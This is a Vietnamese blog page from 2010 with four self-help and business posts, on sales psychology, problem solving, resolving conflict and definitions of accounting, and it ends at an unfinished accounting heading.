Chủ Nhật, 28 tháng 2, 2010

Tâm Lý Bán Hàng

Posted by Unknown Chủ Nhật, tháng 2 28, 2010, under | No comments

1) Chúng ta tiếp nhận quyết định thường là theo cảm tính
Các quyết định được chúng ta đưa ra thường được dựa trên cảm giác, nhu cầu hoặc tình cảm chứ không hẳn là tính lô-gíc. Chính vì nguyên nhân này, các lợi ích phi vật chất mà chúng ta nhận được chính là một trong những yếu tố thuyết phục hành động mua hàng. Đừng quên nút ấn mà với nó, bạn có thể tác động đến tình cảm của con người.

2) Chúng ta cần cơ sở lập luận
Ví dụ: một người nhìn thấy quảng cáo với bức ảnh về chiếc xe hơi thể thao và anh ta thấy thích nó. Anh ta sẽ không mua chiếc xe này khi chưa thấy thích nó, và anh ta muốn có được các thông tin cụ thể về đặc điểm kỹ thuật như công suất động cơ, độ an toàn, giá cả và dịch vụ chăm sóc. Anh ta muốn có chiếc xe này vì nó cho phép anh ta có được cảm giác thoải mái. Nhưng anh ta chỉ mua nó khi có thể biện minh cho hành vi mua bán của mình và chứng minh được tính lý trí của hành động đó.

3) Chúng ta là trung tâm tâm tự kỷ
Chúng ta nhìn nhận thế giới với quan điểm của cách mà nó có quan hệ với chúng ta Khi có ai đó yêu cầu chúng ta thực hiện điều gì đó, chúng ta lập tức bắt đầu nghĩ rằng, liệu điều này mang lại cho chúng ta những gì? Con người thường cố gắng nghĩ về bản thân trước hết. Thậm chí anh ta là người rất tốt. Đó là bản chất của con người.

4) Chúng ta coi trọng giá trị
Khi lựa chọn sản phẩm này hay sản phẩm kia, chúng ta thường quan tâm tới giá trị của nó trước hết. Sau đó, chúng ta so sánh giá trị đó với giá hàng hóa.Giá trị hàng hóa càng lớn so với giá hàng hóa thì xác suất mà sản phẩm sẽ được bán cho người này càng cao hơn. Dĩ nhiên, đối với mỗi người thì giá trị hàng hóa là giá của bản thân.


5) Tính xã hội
Não người không phải là máy tính.Các nhà bác học đã chứng minh rằng chức năng chính của não được thể hiện ở việc giải quyết các vấn đề tác động xã hội, mối quan hệ lẫn nhau giữa con người. Chúng ta hãy thử nhớ lại các bài giảng toán thời phổ thông. Bản chất của bài toán luôn dễ hiểu, nếu như nó có liên quan đến cuộc sống thực chứ không phải với các dữ liệu trừu tượng. Vì thế mà trong việc quảng bá sản phẩm, nhiều công ty tích cực sử dụng lời nhận xét của các khách hàng khác, các câu chuyện thành công, ảnh, hình minh họa…

6) Bạn không thể buộc mọi người làm bất cứ điều gì
Khi mọi người mua bán, điều này diễn ra không phải bởi bạn có được quyền lực với họ. Bạn có thể kêu gọi, chỉ huy, nhưng cối cùng, con người cũng sẽ làm điều mà họ muốn chứ không phải điều mà bạn muốn. Điều này có nghĩa là công việc của bạn được thực hiện nhằm chỉ ra cách thức mà bạn đề nghị, thỏa mãn các nhu cầu hiện tại và trong tương lai của khách hàng.
7) Mọi người thích mua sắm
Con người thực sự rất thích mua sắm. Đơn giản là hãy lưu ý đến ngành công nghiệp phần mềm. Gần như mỗi một phần mềm nhỏ có bản quyền đều có tỷ biến miễn phí.Nhưng mọi người tiếp tục sử dụng chương trình phần mềm tính phí. Đừng vội vàng thúc đẩy quá trình mua hàng – bản thân con người sẽ muốn kết thúc quá trình đó. Bạn chỉ cần đưa ra đề xuất hấp dẫn khiến khách hàng quan tâm.
8) Chúng ta thường hay nghi ngờ
Phần lớn mọi người ngần ngừ lưỡng lự với một món hàng nào đó. Họ không muốn rủi ro. Bạn không bao giờ không thể nói trước được về sự thiếu tin tưởng của khách hàng đối với sản phẩm. Vì thế mà cần tính đến các yếu tố: kết quả thử nghiệm, nghiên cứu, xác nhận từ các nguồn thông tin, các dữ liệu khoa học.

9) Mọi người luôn tìm kiếm một thứ gì đó
Tình yêu. Sự giàu có. Vinh quang. Tiện ích. An toàn. Họ luôn tìm kiếm một thứ gì đó. Nhiệm vụ của bạn rất đơn giản – hãy đưa ra những gì mà họ tìm kiếm. Và không cần gì hơn. Thế là đủ.

10) Mọi người hành động thường là theo tâm lý bầy đàn:
Nếu được những người khác đánh giá thì sản phẩm được coi là tốt. Những cuốn sách bán chạy nhất, những bộ phim bom tấn thu hút nhiều lượt độc giả và khán giả chỉ bởi vì đã có nhiều người đã đọc cuốn sách hoặc xem bộ phim.

Giải Quết Vấn Đề và Quyết Định

Posted by Unknown Chủ Nhật, tháng 2 28, 2010, under | No comments

Giai quyet van de_12.jpg
Cuộc sống là một chuỗi những vấn đề đòi hỏi chúng ta phải giải quyết và ra quyết định mỗi ngày. Nếu chúng ta giải quyết vấn đề và ra quyết định tốt, chúng ta sẽ thành công. Ngược lại, chúng ta sẽ phải loay hoay trong vòng luẩn quẩn “thử và sửa sai”, dần dần mất tự tin và ta sẽ thất bại. Tuy nhiên, một trong những rào cản lớn nhất là chúng ta chưa biết cách giải quyết vấn đề và ra quyết định hiệu quả. Vậy vấn đề là gì? Tại sao phải giải quyết vấn đề và ra quyết định?

 

Hiểu nôm na, vấn đề là một mục tiêu nhưng chưa biết cách thực hiện hoặc chưa biết cách thực hiện nào là tối ưu. Ví dụ: Bạn mơ ước trở thành một ca sĩ nổi tiếng nhưng bạn chưa biết cách nào để đạt được. Đó là vấn đề của bạn. Bạn tìm đủ mọi cách: đi học, nghe, xem thần tượng của mình hát, luyện tập ngày đêm… Đến một ngày đẹp trời, bạn ra đường, người ta vây lấy bạn, tặng thật nhiều hoa và quà, gọi bạn là ca sĩ X, Y và xin chữ ký. Nghĩa là bạn đã trở thành ca sĩ nổi tiếng như hằng mơ ước.
Bạn có hạnh phúc khi đạt được mơ ước không? Chắc là có, ít nhất là trong thời gian đầu của ánh hào quang. Như vậy, vấn đề trở thành ca sĩ nổi tiếng của bạn đã được giải quyết. Lúc này bạn có còn gì mơ ước nữa không? Phải có chứ! Bạn lại mơ ước nhiều điều khác. Và bạn lại tiếp tục tìm cách giải quyết.

 

Vấn đề đôi khi là những việc rất đơn giản. Tìm ra một con đường ngắn nhất để đi làm mà không bị kẹt xe mỗi ngày cũng là một vấn đề tất cả chúng ta đều mơ ước. Nếu bạn thường xuyên giải quyết được vấn đề của mình. Bạn sẽ rất thành công và tự tin hơn. Trái lại, bạn ngại mọi sự thay đổi, thiếu tự tin và thường bị động. Vấn đề là “giải quyết vấn đề” cách nào? Giống như trước khi ra đường, bạn cần biết mình muốn đi đâu. Để giải quyết vấn đề, trước tiên, bạn cần xác định vấn đề của mình. Đó là những hiện trạng, những nguy cơ có thể xảy ra và những mục tiêu bạn mong muốn đạt được. Sau khi đã xác định rõ vấn đề, bạn nên “phát biểu vấn đề” cho nhiều người biết và cùng bạn giải quyết nó nhé
Xin bạn đừng quá vội vàng giải quyết ngay vấn đề. Nếu quá vội vàng, bạn có nguy cơ giải quyết phần ngọn của vấn đề thì sẽ vô cùng nguy hiểm. Giống như nhổ cỏ, nếu bạn chưa nhổ được gốc mà chỉ cắt ngang ngọn cỏ, hôm sau, cỏ lại mọc thêm nhiều ngọn mới, xanh tốt hơn gấp nhiều lần cái ngọn hôm qua. Trớ trêu thay, ngọn thì bao giờ cũng dễ nhìn thấy hơn gốc. Và vì thế ta thường bị “đánh lừa”. Vì vậy, bạn cần bình tĩnh và dành đủ thời gian để đi tìm “nguyên nhân gốc” của chúng. Khi đã biết rõ “nguyên nhân gốc”, giờ đây bạn bắt đầu “tìm giải pháp”. Đây là lúc bạn tận dụng hết kiến thức, kỹ năng và tư duy sáng tạo của mình để tìm được càng nhiều giải pháp càng tốt.

Trong lúc tìm giải pháp, bạn không nên bận tâm đến tính khả thi của chúng. Vì nếu phải đắn đo, cân nhắc lúc này, bạn sẽ khó có thể tìm được nhiều giải pháp. Khi có một “kho” giải pháp rồi, bạn suy nghĩ, cân nhắc tính khả thi vẫn chưa muộn. Cuối cùng, bạn hãy cân nhắc và quyết định chọn một giải pháp phù hợp nhất với hoàn cảnh thực tế của mình. Giải pháp phù hợp, có khi không phải là giải pháp tốt nhất đâu bạn nhé! Nhưng trong nhiều trường hợp, ta cũng không cần phải mất quá nhiều công sức, thời gian và chi phí để giải quyết triệt để một vấn đề. Nếu có giải pháp đơn giản hơn nhưng vẫn có thể giải quyết tương đối tốt vấn đề thì cũng đáng cho ta chọn lắm phải không? Vì vậy, bạn không cần quá cầu toàn mọi lúc, mọi nơi.
 

Có một nghịch lý là chúng ta thường dành rất nhiều thời gian để tìm giải pháp và ta tìm được giải pháp rất tuyệt vời. Nhưng sau đó thì ta lại chẳng làm gì cả. Giải pháp vẫn chỉ là giải pháp. Còn vấn đề của ta vẫn còn nguyên đấy. Đó chính là điều tôi muốn nói với bạn. Khi chọn được giải pháp rồi, hãy bắt tay thực hiện ngay để biến nó thành hiện thực. Vấn đề chỉ khuất phục bạn, khi bạn quyết tâm giải quyết chúng. Nếu bạn bỏ qua bước này, mọi công sức trước đó của bạn đều trở nên vô nghĩa. Giờ ta cùng mở tiệc mừng thôi! Chúc bạn luôn chủ động với những vấn đề của mình và thành công trong công việc và cuộc sống!

Biến Xung Đột Thành Cơ Hội Hợp Tác

Posted by Unknown Chủ Nhật, tháng 2 28, 2010, under | No comments

Có thể đó là một bài học cuộc sống được rút ra hay bạn cảm thấy có một cảm giác gắn bó mới mẻ giữa mọi người với nhau. Những gắng sức làm sạch bầu không khí sẽ giúp bạn bắt đầu lại mọi thứ với những suy nghĩ mới.

Mặc dù vậy, thông thường trước khi bạn có thể đem lại cho mối quan hệ của bạn những hơi thở tươi mới, một vài cuộc hội thoại không mấy thoải mái sẽ cần diễn ra.

Tiến sỹ Elinor Robin, chủ trang web tư vấn www.elinorrobin.com, là một nhà đàm phán kinh doanh, một nhà đào tạo nghệ thuật đàm phán và nhà tư vấn quản lý xung đột cho các công ty nhỏ, các nhân viên công sở và tất cả những ai có nhu cầu.

Elinor kể lại một câu chuyện về ba người phụ nữ tranh cãi với nhau chỉ vì sở hữu một quả chanh. Người phụ nữ thứ nhất nói rằng quả chanh được để lại cho bà trong một bản di chúc; người phụ nữ thứ hai nói rằng bà có một hóa đơn về việc mua quả chanh và người phụ nữ thứ ba nói rằng quả chanh được trồng trên mảnh đất thuộc quyền sở hữu của bà.

Cả ba người phụ nữ này đều biết rằng nếu họ giải quyết tại tòa án, họ vừa có thể là người chiến thắng vừa có thể là người thua cuộc dựa trên giải thích của thẩm phán về ai là người có quyền sở hữu hợp pháp đối với quả chanh. Và sự thỏa hiệp sẽ để họ cắt quả chanh ra làm ba phần bằng nhau.

Đôi lúc, sự thỏa hiệp là một lựa chọn tốt, nhưng trong câu truyện này, ba người phụ nữ còn vượt xa hơn cả sự thỏa hiệp khi ngồi xuống và thực tế nói chuyện với nhau. Họ thấy rằng một người phụ nữ muốn những hạt chanh để có thể trồng thêm các cây chanh; một phụ nữ khác muốn vỏ tranh để làm một vài chiếc bánh và người phụ nữ còn lại muốn cùi chanh để có các cốc nước chanh.

Chỉ khi có những cuộc hội thoại cởi mở và chân thực, ba người phụ nữ mới có thể đạt được một giải pháp đem lại tất cả những gì họ mong muốn nhất.

Xung đột như một chất xúc tác

Về cơ bản, có hai dạng xung đột khác nhau: các xung đột công việc (Task conflict) và các xung đột cảm xúc (Emotional conflict).

Các xung đột công việc trọng tâm vào những hành động cần thực hiện và cách thức làm một việc nào đó. Những xung đột này thường đóng vai trò như những chất xúc tác, động viên và chào mời chúng ta tìm hiểu về những khác biệt của chúng ta.

Khi chúng ta đưa ra các giải pháp nhằm giải quyết các xung đột này bằng việc tiến hành các cuộc hội thoại hay thảo luận, chúng ta thường có thể xác định được cách thức tốt nhất để hoàn thành các mục tiêu chung hay tiếp cận những quyết định chuẩn xác hơn.

Các xung đột cảm xúc (hay còn gọi là các bất đồng tính cách) là kết quả của những vận động tâm lý thường phát sinh ngầm bên dưới bề mặt. Đây là những xung đột xuất hiện khi một hay cả hai bên cảm thấy mình đánh giá thấp hay không được coi trọng.

Thông thường, các xung đột cảm xúc và các xung đột công việc sẽ xuất hiện cùng nhau hay một xung đột công việc có thể trở nên bị kích động hay bị hiểu sai, dẫn tới sự nghi ngờ, ganh đua và xung đột cảm xúc.

Theo Elinor, tin tốt là bạn có thể giải quyết cả những xung đột phức tạp nhất nếu các bên sẵn lòng ngồi xuống trò chuyện. Dưới đây là kế hoạch 10 bước để biến các xung đột của bạn thành vàng:

1) Chuẩn bị.

Hãy ghi ra một vài chú ý về tình hình và cảm giác hiện tại của bạn. Hãy viết về nơi bạn đang đứng trong hiện tại, nơi bạn muốn đến trong tương lai và làm thế nào bạn có thể đến được đó.

2) Kêu gọi sự đình chiến.

Hãy sẵn lòng ngồi xuống bàn và ở đó trong một thời gian. Phía bên kia cũng sẽ làm giống bạn nếu thông điệp của bạn là: “Tôi thực sự muốn tìm ra một giải pháp có lợi cho cả hai chúng ta”. Nếu bạn không thể truyền tải thông điệp, hãy tìm kiếm ai đó có thể can thiệp thay mặt bạn và đưa các bên vào bàn đàm phán.

3) Lên lịch đàm phán

Hãy ngồi xuống vào thời điểm mà bạn và phía bên kia đã nhận rõ vấn đề và có thể xây dựng cho cuộc đàm phán quan trọng này những lịch trình thích hợp cùng công sức bỏ ra thích đáng cho nó.

4) Lắng nghe, lắng nghe, lắng nghe

Hãy lắng nghe như thế bạn là một người giám sát ngoài cuộc không có trước bất cứ kiến thức nào về tình huống. Hai mươi năm kinh nghiệm trong lĩnh vực đàm phán kinh doanh đã dạy cho Elinor rằng luôn có ít nhất hai mặt trong mỗi câu truyện. Bạn có thể ngạc nhiên khi bạn nghe thấy phần còn lại của câu chuyện.

5) Xác định các cảm xúc

Tại gốc rễ của tất cả các xung đột của con người, cho dù là hai đứa trẻ ở trong sân trường hay hai quốc gia trong cuộc chiến tranh, một ai đó cảm thấy mình bị thiếu tôn trọng, đánh giá thấp, bị tước quyền, không được quan tâm hay bị bỏ qua. Đôi lúc, chỉ cần xác định các cảm xúc của bạn và nhận ra rằng phía bên kia cũng có cảm xúc như vậy là đủ để giải quyết các tranh chấp của bạn.

6) Sẵn lòng xin lỗi

Mối quan hệ càng gần gũi bao nhiêu, bạn sẽ càng cần phải sẵn sàng xin lỗi bấy nhiêu. Nếu bản thân bạn không thể xin lỗi về một vấn đề cụ thể nào đó, ít nhất hãy xin lỗi vì đã làm phía bên kia phải lo lắng, bận tâm tới sự việc hay bất cứ những gì bạn đã làm góp phần vào đó.

7) Đừng để các mối xung đột không được giải quyết

Một thỏa thuận rằng các bên vẫn bất đồng ý kiến sẽ không thích hợp chút nào. Việc này chỉ dẫn bạn tới những cuộc tranh đấu khác trong tương lai.

8) Nếu tất cả vẫn thất bại, hãy nhờ cậy đến sự giúp đỡ của chuyên gia

Thông thường, một ý kiến bên ngoài sẽ như một tia sáng lóe lên trong bóng tối và có thể giúp bạn đạt được một thỏa thuận. Hãy quan tâm tới việc mang đến một nhà điều đình khi mối quan hệ hay xung đột mang tính quan trọng.

Khái Niệm và Bản Chất Của Kế Toán

Posted by Unknown Chủ Nhật, tháng 2 28, 2010, under | No comments

Có nhiều cách tiếp cận về kế toán, vì vậy có rất nhiều định nghĩa khác nhau về kế toán. Tuy nhiên, những định nghĩa này đều thống nhất với nhau ở chỗ: kế toán là một hệ thống của những khái niệm và phương pháp, hướng dẫn chúng ta thu thập, đo lường, xử lý và truyền đạt những thông tin cần thiết cho việc ra những quyết định tài chính hợp lý. Sau đây là một số định nghĩa đã được đưa ra:
+ CÁC ĐỊNH NGHĨA KẾ TOÁN CỦA VIỆT NAM
ĐỊNH NGHĨA 1: Trong cơ chế kế hoạch hóa tập trung, bản chất của kế toán được nhận định “Kế toán xã hội chủ nghĩa là công việc tính toán, ghi chép, phản ánh bằng con số một cách liên tục, toàn diện và hệ thống các loại vật tư, tiền vốn và mọi hoạt động kinh tế, qua đó mà giám đốc tình hình thực hiện kế hoạch nhà nước; tình hình bảo vệ tài sản xã hội chủ nghĩa.”
ĐỊNH NGHĨA 2: Điều lệ tổ chức kế toán nhà nước đã ghi rõ: “Kế toán là công việc ghi chép, tính toán bằng con số dưới hình thức giá trị, hiện vật và thời gian lao động, chủ yếu dưới hình thức giá trị để phản ánh, kiểm tra tình hình vận động của các loại tài sản, quá trình và kết quả hoạt động sản xuất kinh doanh, sử dụng vốn và kinh phí của nhà nước cũng như của từng tổ chức xí nghiệp.”
ĐỊNH NGHĨA 3: Theo TS. Trần Anh Hoa, trong luận án tiến sĩ của mình đã đưa ra định nghĩa như sau: “Kế toán là một khoa học liên quan đến việc thu thập, đo lường, xử lý và truyền đạt các thông tin tài chính và phi tài chính hữu ích của một tổ chức đến các đối tượng sử dụng để trên cơ sở đó đề ra các quyết định hợp lý.”
ĐỊNH NGHĨA 4: Theo website www.vcci.com.vn thì “Kế toán là nghệ thuật thu nhận, xử lý và cung cấp thông tin về toàn bộ tài sản và sự vận động của tài sản (hay là toàn bộ thông tin về tài sản và các hoạt động kinh tế tài chính) trong doanh nghiệp nhằm cung cấp những thông tin hữu ích cho việc ra các quyết định về kinh tế - xã hội và đánh giá hiệu quả của các hoạt động trong doanh nghiệp.”
ĐỊNH NGHĨA 5: Theo Website www.kiemtoan.com.vn thì “Kế toán được định nghĩa là một hệ thống thông tin đo lường, xử lý và cung cấp thông tin hữu ích cho việc ra các quyết định điều hành hoạt động sản xuất kinh doanh của doanh nghiệp.”
ĐỊNH NGHĨA 6: Theo Luật kế toán Việt Nam 2003 “Kế toán là việc thu thập, xử lý, kiểm tra, phân tích và cung cấp thông tin kinh tế, tài chính dưới hình thức giá trị, hiện vật và thời gian lao động.”
+ CÁC ĐỊNH NGHĨA KẾ TOÁN CÁC NƯỚC TRÊN THẾ GIỚI
ĐỊNH NGHĨA 7: Khái niệm hướng đến phương pháp, đây là loại khái niệm mà Luca Pacioli (1447-1517) – nhà toán học vĩ đại người Ý có nhiều đóng góp cho ngành kế toán thế giới, đã đưa ra cuốn “Chú giải về tài khoản và các bút toán” mà theo đó, “có 3 điều kiện cần thiết cho bất cứ ai muốn kinh doanh: thứ nhất, là phải có tiền; thứ hai, người chủ doanh nghiệp phải có khả năng tính toán nhanh và đồng thời biết lập sổ sách kế toán; và điều kiện sau cùng là phải có khả năng tổ chức công việc một cách khoa học, linh động nhằm đảm bảo tiến độ hoạt động kinh doanh.”
ĐỊNH NGHĨA 8: Khái niệm hướng đến nội dung, cốt lõi vấn đề, đại diện tiêu biểu của trường phái này là nhà kinh tế học nổi tiếng của Pháp J.Furaste, ông cho rằng “hệ thống kế toán là một lĩnh vực khoa học hiện đại với mục đích tính toán giá trị tài sản của doanh nghiệp, đồng thới xác định giá trị của vốn đầu tư”. Khái niệm này chỉ ra hình thức tồn tại của quy trình kế toán mà chưa nêu ra được lý do của việc tính toán giá trị tài sản cũng như việc xác định vốn đầu tư của doanh nghiệp.
ĐỊNH NGHĨA 9: Khái niệm nghiêng về mục đích, kết quả, cuối thế kỷ 19, nhiều kế toán viên nhận ra một thực tế rằng, người ta cần hệ thống sổ sách giấy tờ kế toán không phải chỉ để đánh giá giá trị tài sản doanh nghiệp hay giá trị vốn đầu tư mà nhằm mục đích quản lý. Chính vì vậy mà E. Pizani – một kế toán viên người Ý đã đưa ra một định nghĩa về kế toán như sau: “Kế toán là khoa học sử dụng các phép tính toán, dựa trên các quy định của pháp luật và kinh tế nhằm mục đích quản lý đồng thời để đạt được những hiệu quả kinh tế khả quan nhất”
ĐỊNH NGHĨA 10: Theo Sokolov, một chuyên gia hàng đầu về kế toán tại Nga thì “kế toán là ngôn ngữ của các ký hiệu cũng như quy ước sử dụng và được tạo ra với mục đích làm thay thế các đối tượng thực tế bằng các ký hiệu hay biểu tượng, cho phép phản ánh một cách trung thực hoạt động kinh doanh cùng các kết quả của hoạt động kinh doanh đó”
Sokolov cũng đưa ra hai khái niệm về kế toán. Xét về khía cạnh lý thuyết, “kế toán chính là khoa học về bản chất cũng như cấu trúc các sự kiện diễn ra trong cuộc sống, trong hoạt động kinh doanh của con người. Nhiệm vụ của kế toán là phản ánh nội dung của các quá trình hoạt động kinh doanh cũng như mối liên hệ giữa các phạm trù luật pháp và phạm trù kinh tế trong quá trình hoạt động kinh doanh đó.”
Còn nếu xét từ khía cạnh thực tế, “kế toán là một quá trình theo dõi, phân loại, tổng hợp, phân tích và chuyển tải thông tin về các sự kiện xảy ra trong hoạt động kinh doanh của con người. Nhiệm vụ của kế toán xét từ khía cạnh này là việc đưa ra các nguồn thông tin phục vụ cho mục đích quản lý.”
ĐỊNH NGHĨA 11: Một định nghĩa về kế toán được chấp nhận trong suốt thời gian qua là định nghĩa được trình bày trong “Báo cáo về lý thuyết kế toán căn bản” ban hành bởi Hiệp hội Kế toán Hoa Kỳ: “Kế toán là một tiến trình ghi nhận, đo lường, và cung cấp các thông tin kinh tế nhằm hỗ trợ cho các đánh giá và các quyết định của người sử dụng thông tin”
ĐỊNH NGHĨA 12: Uy ban nguyên tắc kế toán của Mỹ (APB), trong thông báo số 4, đã định nghĩa. “Kế toán là một dịch vụ. Chức năng của nó là cung cấp thông tin định lượng được của các tổ chức kinh tế, chủ yếu là thông tin tài chính giúp người sử dụng đề ra các quyết định kinh tế.”
ĐỊNH NGHĨA 13: Uy ban thuật ngữ của học viện kế toán viên công chứng của Mỹ (AICPA) đã định nghĩa: “Kế toán là một nghệ thuật dùng để ghi chép, phân loại và tổng hợp theo một phương pháp riêng có dưới hình thức tiền tệ về các nghiệp vụ, các sự kiện kinh tế và trình bày kết quả của nó cho người sử dụng ra quyết định.”
ĐỊNH NGHĨA 14: Giáo sư, Tiến sĩ Robert Anthony – một nhà nghiên cứu lý luận kinh tế nội tiếng của trường Đại học Harvard của Mỹ cho rằng “Kế toán là ngôn ngữ kinh doanh”
ĐỊNH NGHĨA 15: Giáo sư, tiến sĩ Grene Allen Gohlke của Viện Đại Học Wisconsin lại định nghĩa: “Kế toán là một khoa học liên quan đến việc ghi nhận, phân loại, tóm tắt và giải thích các nghiệp vụ tài chính của một tổ chức, giúp cho Ban giám đốc có thể căn cứ vào đó để ra các quyết định kinh tế”
ĐỊNH NGHĨA 16: Trong cuốn sách “Nguyên lý kế toán Mỹ”, Ronnald J. Thacker nêu quan điểm của mình về kế toán xuất phát từ việc cung cấp thông tin cho công tác quản lý. Theo Ronnald J. Thacker “Kế toán là một phương pháp cung cấp thông tin cần thiết cho quản lý có hiệu quả và để đánh giá hoạt động của mọi tổ chức”
ĐỊNH NGHĨA 17: Theo Uy ban thực hành kiểm toán quốc tế (International Auditing Practices Committee) thì “Một hệ thống kế toán là hàng loạt các nhiệm vụ ở một doanh nghiệp mà nhờ hệ thống này các nghiệp vụ được xử lý như một phương tiện duy trì các ghi chép tài chính”
ĐỊNH NGHĨA 18: Khi định nghĩa về kế toán, Liên đoàn kế toán quốc tế (IFAC) cho rằng: “Kế toán là nghệ thuật ghi chép, phân loại tổng hợp theo một cách riêng có bằng những khoản tiền các nghiệp vụ và các sự kiện mà chúng có ít nhất một phần tính chất tài chính và trình bày kết quả của nó”
Tiến hành phân tích các định nghĩa kế toán, chúng ta thấy nổi lên các quan điểm sau:
=> KẾ TOÁN LÀ NGHỆ THUẬT HAY KHOA HỌC
           Có khái niệm cho rằng “Kế toán là nghệ thuật”, có khái niệm cho rằng “Kế toán là khoa học”, có khái niệm cho rằng kế toán là một hoạt động “dịch vụ” và ngụ ý kế toán bao hàm những kỹ thuật nhằm để sử dụng cho một số lĩnh vực nhất định, dịch vụ ở đây cũng hàm ý là “Kế toán là nghệ thuật”
          Đã có nhiều cuộc tranh luận với những quan điểm khác nhau: “Kế toán là một nghệ thuật hay một khoa học?”
          Những người cho rằng kế toán là một nghệ thuật, đề nghị các kỹ năng của kế toán cần thiết cung cấp để trở thành nhà kinh doanh giỏi, phải được giảng dạy và cách tiếp cận hợp pháp với kế toán phải được đảm bảo.
          Những người ủng hộ kế toán là một khoa học đề nghị thay vì giảng dạy các mô hình đo lường của kế toán cho các sinh viên, chuyên ngành kế toán, thì cung cấp cho họ những cái nhìn thấu đáo hơn về quan điểm đối với kế toán qui ước, thừa nhận con số phát sinh đang cố gắng như thế nào để thoả mãn mục tiêu phục vụ các như cầu của người sử dụng; và gợi ý những suy nghĩ về lĩnh vực đó và những động lực thay đổi của kế toán.
         Cho dù có những quan điểm khác nhau, nhưng phần đông các quan điểm cho rằng kế toán là một khoa học lý luận phù hợp hoàn hảo với quan điểm hiện nay được Mantz phát biểu: “Kế toán có quan hệ với các doanh nghiệp mà chắc chắn là những nhóm người trong xã hội, nó quan tâm đến các giao dịch và những sự kiện kinh tế khác mà có hậu quả về mặt xã hội và ảnh hưởng đến các mối quan hệ xã hội và có ý nghĩa cho người làm việc trong các hoạt động có liên quan với xã hội, tóm lại kế toán là một khoa học xã hội.”

=> PHẠM VI CÔNG VIỆC KẾ TOÁN
           Các định nghĩa trước đây về kế toán thường chú trọng đến các nhiệm vụ giữ sổ sách cố hữu của kế toán đó là ghi chép, phân loại và tổng hợp các nghiệp vụ kinh tế phát sinh. Tuy nhiên ngày nay, định nghĩa hiện đại về kế toán rộng hơn nhiều, kế toán là một hệ thống thông tin cung cấp thông tin định lượng. Vì vậy, người kế toán ngày nay không chỉ quan tâm đến việc giữ sổ sách mà đến toàn bộ các hoạt động bao gồm việc hoạch định chương trình và giải quyết vấn đề; hướng sự quan tâm của lãnh đạo đến những điều cần lưu tâm, đánh giá và duyệt xét các hoạt động của doan nghiệp và kiểm tra sổ sách. Người kế toán ngày nay chú trọng đến những nhu cầu bức thiết của những người sử dụng thông tin kế toán, dù những người sử dụng này ở trong hay ngoài đơn vị kinh doanh.
            Kế toán được định nghĩa như là một hệ thống thông tin dùng để đo lường, xử lý và truyền đạt những thông tin về tài chính của một đơn vị kinh tế. Thông tin này giúp người sử dụng có thể đưa ra các quyết định hợp lý của mình.
           Theo quan điểm này, kế toán được xem như là gạch nối giữa các hoạt động kinh doanh và những người làm quyết định. Thứ nhất, kế toán đo lường các hoạt động kinh doanh bằng cách ghi chép. Thứ hai, các thông tin được ghi chép sẽ được xử lý để trở thành các thông tin hữu ích. Thứ ba, thông tin này được truyền đạt qua các bảng báo cáo đến những người sử dụng để ra các quyết định.
           Người ta nói rằng các dữ kiện về hoạt động kinh doanh là đầu vào của hệ thống kế toán và những thông tin hữu ích cho người ra quyết định là đầu ra đã được hệ thống kế toán xử lý và cung cấp.
           Người ta thường nhầm lẫn giữa kế toán và ghi chép kế toán. Việc ghi chép kế toán là một quá trình hay nói đúng hơn là một công đoạn của kế toán, là phương tiện để ghi chép các nghiệp vụ kinh tế phát sinh và giữ sổ sách. Việc ghi chép lặp đi lặp lại có tính cách máy móc là một phần nhỏ, đơn giản nhưng quan trọng của kế toán. Trái lại, kế toán thì lại khác, nó bao gồm việc thiết kế một hệ thống thông tin đáp ứng được nhu cầu của người sử dụng thông tin về kế toán. Mục tiêu chính của kế toán là phân tích, giải trình và sử dụng thông tin.
 MỤC ĐÍCH CỦA KẾ TOÁN:
          Bản chất kế toán và lý luận của nó chịu sự chế định lịch sử, mà tính chế định lịch sử của kế toán là do hình thái kinh tế xã hội gây nên. Vì vậy, mục đích của kế toán có sự khác nhau ở các hình thái kinh tế xã hội khác nhau.
         Trong nền kinh tế vận hành theo cơ chế kế hoạch hóa tập trung, Nhà nước làm chủ tất cả các nguồn lực sản xuất và cung cấp tất cả nhu cầu vốn, các xí nghiệp quốc doanh hoạt động theo phương thức “cấp phát vật tư và giao nộp sản phẩm” theo kế hoạch cấp trên giao. Mặt khác, các xí nghiệp lại bị giới hạn về quyền quyết định nên nhu cầu thông tin nội bộ hầu như không phải là vấn đề thiết yếu. Do vậy, mục đích của kế toán trong cơ chế kinh tế này là nhằm cung cầp thông tin cho Nhà nước để kiểm tra tình hình thực hiện kế hoạch. Chức năng của kế toán là phản ánh và giám đốc tài sản xã hội chủ nghĩa và các hoạt động kinh tế. Vì thế, trong cơ chế kế hoạch hóa tập trung, bản chất của kế toán được nhận định như trong định nghĩa 1 và đinh nghĩa 2.
        Trong nền kinh tế vận hành theo cơ chế thị trường, các doanh nghiệp đều bình đẳng trong quá trình kinh doanh, mối quan hệ kinh tế tài chính của các doanh ghiệp được mở rộng. Mặt khác, với sự phát triển đa dạng của các nguồn tạo vốn từ bên ngoài đã làm cho đối tượng sử dụng thông tin kế toán trở nên đa dạng hơn. Mục đích của kế toán không chỉ cung cấp thông tin chủ yếu cho bản thân doanh nghiệp, cho Nhà nước, mà còn cung cấp thông tin cho các đối tượng như ngân hàng, các nhà đầu tư tương lai, nhà cung cấp, khách hàng,… Vì vậy, định nghĩa kế toán nhấn mạnh đến chức năng cung cấp thông tin – và chức năng này được coi là chức năng cơ bản nhất của kế toán. Các định nghĩa sau này kể cả Việt nam, cũng như các nước trên thế giới đều nhấn mạnh đến chức năng cung cấp thông tin của kế toán.
        Như vậy, để định nghĩa về kế toán cần phải dựa vào bản chất của kế toán – mà bản chất này lại tùy thuộc vào hình thái kinh tế xã hội – nơi hoạt động kế toán diễn ra.

  THƯỚC ĐO GIÁ TRỊ:
       
